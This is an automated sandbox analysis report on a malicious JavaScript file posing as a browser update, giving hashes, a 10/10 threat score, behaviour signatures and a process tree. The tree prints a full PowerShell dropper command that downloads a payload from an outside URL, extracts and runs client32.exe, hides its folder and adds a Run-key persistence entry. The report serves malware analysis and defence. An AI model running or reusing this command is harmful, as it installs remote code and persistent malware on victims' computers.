Analysis

  • max time kernel
    90s
  • max time network
    128s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231222-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16-02-2024 16:32

General

  • Target

    Install/Update_browser_121.0.6163.js

  • Size

    1.3MB

  • MD5

    7ecc973a8ab0e0df11d0103fc763aec2

  • SHA1

    d6ea12f010e3f2b229f616bff27f6f590b9922f3

  • SHA256

    ef3240f277751f4149e702336035632b7cb6b1e7f8ccd2ad50c9c85dc3a14891

  • SHA512

    84fef056c1f03a10a21f561e30be5a7f3a24485d75c27cfde6a8065bbc3d0e22559e7f0d9a13c53702506183efc3a9ee95183fbdf7fd0f0aa3c1b0cbf44b6552

  • SSDEEP

    12288:sqkdj8gY4HQJ2Oyqkdj8gY4HQJ2Oyqkdj8gY4HQJ2Ok:PkdBpQFVkdBpQFVkdBpQFk

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://grantallardserver.com/data.php?13746

exe.dropper

https://grantallardserver.com/data.php?13746

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Install\Update_browser_121.0.6163.js
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3168
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $ppObAYYjoJSUlmxHzCaaDvF='https://grantallardserver.com/data.php?13746';$GxejkbsnnyHpGWInEMegxzfkdTcoeMJA=(New-Object System.Net.WebClient).DownloadString($ppObAYYjoJSUlmxHzCaaDvF);$UsUbiLPvyUUDfaOIcnIVGLTEWSMmIa=[System.Convert]::FromBase64String($GxejkbsnnyHpGWInEMegxzfkdTcoeMJA);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $qdRzgaIOjgysxEjMKCGDn=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $qdRzgaIOjgysxEjMKCGDn -PathType Container)) { New-Item -Path $qdRzgaIOjgysxEjMKCGDn -ItemType Directory };$p=Join-Path $qdRzgaIOjgysxEjMKCGDn 'VVV.zip';[System.IO.File]::WriteAllBytes($p,$UsUbiLPvyUUDfaOIcnIVGLTEWSMmIa);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$qdRzgaIOjgysxEjMKCGDn)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $qdRzgaIOjgysxEjMKCGDn 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $qdRzgaIOjgysxEjMKCGDn -Force; $FSDFSSD.attributes='Hidden';$s=$qdRzgaIOjgysxEjMKCGDn+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3832

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qpuujt0n.vew.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/3832-9-0x0000019DE2F40000-0x0000019DE2F62000-memory.dmp

    Filesize

    136KB

  • memory/3832-11-0x0000019DFB620000-0x0000019DFB630000-memory.dmp

    Filesize

    64KB

  • memory/3832-10-0x00007FFA20F20000-0x00007FFA219E1000-memory.dmp

    Filesize

    10.8MB

  • memory/3832-12-0x0000019DFB620000-0x0000019DFB630000-memory.dmp

    Filesize

    64KB